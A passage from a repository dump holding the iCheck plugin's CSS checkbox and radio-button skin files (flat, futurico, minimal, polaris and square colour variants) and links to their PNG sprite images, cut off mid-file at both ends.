.icheckbox_flat-yellow, 4 | .iradio_flat-yellow { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(yellow.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-yellow { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-yellow.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-yellow.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-yellow.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-yellow { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-yellow.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-yellow.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-yellow.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-yellow, 48 | .iradio_flat-yellow { 49 | background-image: url(yellow@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/yellow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/yellow.png -------------------------------------------------------------------------------- /web/css/skins/flat/yellow@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/yellow@2x.png -------------------------------------------------------------------------------- /web/css/skins/futurico/futurico.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Futurico skin 2 | ----------------------------------- */ 3 | .icheckbox_futurico, 4 | .iradio_futurico { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 16px; 11 | height: 17px; 12 | background: url(futurico.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_futurico { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_futurico.checked { 21 | background-position: -18px 0; 22 | } 23 | .icheckbox_futurico.disabled { 24 | background-position: -36px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_futurico.checked.disabled { 28 | background-position: -54px 0; 29 | } 30 | 31 | .iradio_futurico { 32 | background-position: -72px 0; 33 | } 34 | .iradio_futurico.checked { 35 | background-position: -90px 0; 36 | } 37 | .iradio_futurico.disabled { 38 | background-position: -108px 0; 39 | cursor: default; 40 | } 41 | .iradio_futurico.checked.disabled { 42 | background-position: -126px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_futurico, 48 | .iradio_futurico { 49 | background-image: url(futurico@2x.png); 50 | -webkit-background-size: 144px 19px; 51 | background-size: 144px 19px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/futurico/futurico.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/futurico/futurico.png -------------------------------------------------------------------------------- /web/css/skins/futurico/futurico@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/futurico/futurico@2x.png -------------------------------------------------------------------------------- /web/css/skins/line/line.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/line/line.png -------------------------------------------------------------------------------- /web/css/skins/line/line@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/line/line@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/aero.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, aero 2 | ----------------------------------- */ 3 | .icheckbox_minimal-aero, 4 | .iradio_minimal-aero { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(aero.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-aero { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-aero.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-aero.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-aero.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-aero.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-aero { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-aero.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-aero.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-aero.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-aero.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-aero, 54 | .iradio_minimal-aero { 55 | background-image: url(aero@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/aero.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/aero.png -------------------------------------------------------------------------------- /web/css/skins/minimal/aero@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/aero@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/blue.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, blue 2 | ----------------------------------- */ 3 | .icheckbox_minimal-blue, 4 | .iradio_minimal-blue { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(blue.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-blue { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-blue.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-blue.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-blue.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-blue.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-blue { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-blue.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-blue.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-blue.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-blue.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-blue, 54 | .iradio_minimal-blue { 55 | background-image: url(blue@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/blue.png -------------------------------------------------------------------------------- /web/css/skins/minimal/blue@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/blue@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/green.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, green 2 | ----------------------------------- */ 3 | .icheckbox_minimal-green, 4 | .iradio_minimal-green { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(green.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-green { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-green.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-green.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-green.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-green.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-green { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-green.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-green.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-green.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-green.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-green, 54 | .iradio_minimal-green { 55 | background-image: url(green@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/green.png -------------------------------------------------------------------------------- /web/css/skins/minimal/green@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/green@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/grey.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, grey 2 | ----------------------------------- */ 3 | .icheckbox_minimal-grey, 4 | .iradio_minimal-grey { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(grey.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-grey { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-grey.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-grey.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-grey.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-grey.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-grey { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-grey.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-grey.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-grey.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-grey.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-grey, 54 | .iradio_minimal-grey { 55 | background-image: url(grey@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/grey.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/grey.png -------------------------------------------------------------------------------- /web/css/skins/minimal/grey@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/grey@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/minimal.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, black 2 | ----------------------------------- */ 3 | .icheckbox_minimal, 4 | .iradio_minimal { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(minimal.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal, 54 | .iradio_minimal { 55 | background-image: url(minimal@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/minimal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/minimal.png -------------------------------------------------------------------------------- /web/css/skins/minimal/minimal@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/minimal@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/orange.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, orange 2 | ----------------------------------- */ 3 | .icheckbox_minimal-orange, 4 | .iradio_minimal-orange { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(orange.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-orange { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-orange.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-orange.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-orange.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-orange.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-orange { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-orange.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-orange.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-orange.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-orange.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-orange, 54 | .iradio_minimal-orange { 55 | background-image: url(orange@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/orange.png -------------------------------------------------------------------------------- /web/css/skins/minimal/orange@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/orange@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/pink.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, pink 2 | ----------------------------------- */ 3 | .icheckbox_minimal-pink, 4 | .iradio_minimal-pink { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(pink.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-pink { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-pink.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-pink.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-pink.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-pink.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-pink { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-pink.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-pink.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-pink.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-pink.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-pink, 54 | .iradio_minimal-pink { 55 | background-image: url(pink@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/pink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/pink.png -------------------------------------------------------------------------------- /web/css/skins/minimal/pink@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/pink@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/purple.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, purple 2 | ----------------------------------- */ 3 | .icheckbox_minimal-purple, 4 | .iradio_minimal-purple { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(purple.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-purple { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-purple.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-purple.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-purple.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-purple.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-purple { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-purple.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-purple.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-purple.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-purple.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-purple, 54 | .iradio_minimal-purple { 55 | background-image: url(purple@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/purple.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/purple.png -------------------------------------------------------------------------------- /web/css/skins/minimal/purple@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/purple@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/red.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, red 2 | ----------------------------------- */ 3 | .icheckbox_minimal-red, 4 | .iradio_minimal-red { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(red.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-red { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-red.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-red.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-red.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-red.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-red { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-red.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-red.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-red.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-red.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-red, 54 | .iradio_minimal-red { 55 | background-image: url(red@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/red.png -------------------------------------------------------------------------------- /web/css/skins/minimal/red@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/red@2x.png -------------------------------------------------------------------------------- /web/css/skins/minimal/yellow.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Minimal skin, yellow 2 | ----------------------------------- */ 3 | .icheckbox_minimal-yellow, 4 | .iradio_minimal-yellow { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 18px; 11 | height: 18px; 12 | background: url(yellow.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_minimal-yellow { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_minimal-yellow.hover { 21 | background-position: -20px 0; 22 | } 23 | .icheckbox_minimal-yellow.checked { 24 | background-position: -40px 0; 25 | } 26 | .icheckbox_minimal-yellow.disabled { 27 | background-position: -60px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_minimal-yellow.checked.disabled { 31 | background-position: -80px 0; 32 | } 33 | 34 | .iradio_minimal-yellow { 35 | background-position: -100px 0; 36 | } 37 | .iradio_minimal-yellow.hover { 38 | background-position: -120px 0; 39 | } 40 | .iradio_minimal-yellow.checked { 41 | background-position: -140px 0; 42 | } 43 | .iradio_minimal-yellow.disabled { 44 | background-position: -160px 0; 45 | cursor: default; 46 | } 47 | .iradio_minimal-yellow.checked.disabled { 48 | background-position: -180px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_minimal-yellow, 54 | .iradio_minimal-yellow { 55 | background-image: url(yellow@2x.png); 56 | -webkit-background-size: 200px 20px; 57 | background-size: 200px 20px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/minimal/yellow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/yellow.png -------------------------------------------------------------------------------- /web/css/skins/minimal/yellow@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/minimal/yellow@2x.png -------------------------------------------------------------------------------- /web/css/skins/polaris/polaris.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Polaris skin 2 | ----------------------------------- */ 3 | .icheckbox_polaris, 4 | .iradio_polaris { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 29px; 11 | height: 29px; 12 | background: url(polaris.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_polaris { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_polaris.hover { 21 | background-position: -31px 0; 22 | } 23 | .icheckbox_polaris.checked { 24 | background-position: -62px 0; 25 | } 26 | .icheckbox_polaris.disabled { 27 | background-position: -93px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_polaris.checked.disabled { 31 | background-position: -124px 0; 32 | } 33 | 34 | .iradio_polaris { 35 | background-position: -155px 0; 36 | } 37 | .iradio_polaris.hover { 38 | background-position: -186px 0; 39 | } 40 | .iradio_polaris.checked { 41 | background-position: -217px 0; 42 | } 43 | .iradio_polaris.disabled { 44 | background-position: -248px 0; 45 | cursor: default; 46 | } 47 | .iradio_polaris.checked.disabled { 48 | background-position: -279px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_polaris, 54 | .iradio_polaris { 55 | background-image: url(polaris@2x.png); 56 | -webkit-background-size: 310px 31px; 57 | background-size: 310px 31px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/polaris/polaris.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/polaris/polaris.png -------------------------------------------------------------------------------- /web/css/skins/polaris/polaris@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/polaris/polaris@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/aero.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, aero 2 | ----------------------------------- */ 3 | .icheckbox_square-aero, 4 | .iradio_square-aero { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(aero.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-aero { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-aero.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-aero.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-aero.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-aero.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-aero { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-aero.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-aero.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-aero.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-aero.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-aero, 54 | .iradio_square-aero { 55 | background-image: url(aero@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/aero.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/aero.png -------------------------------------------------------------------------------- /web/css/skins/square/aero@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/aero@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/blue.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, blue 2 | ----------------------------------- */ 3 | .icheckbox_square-blue, 4 | .iradio_square-blue { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 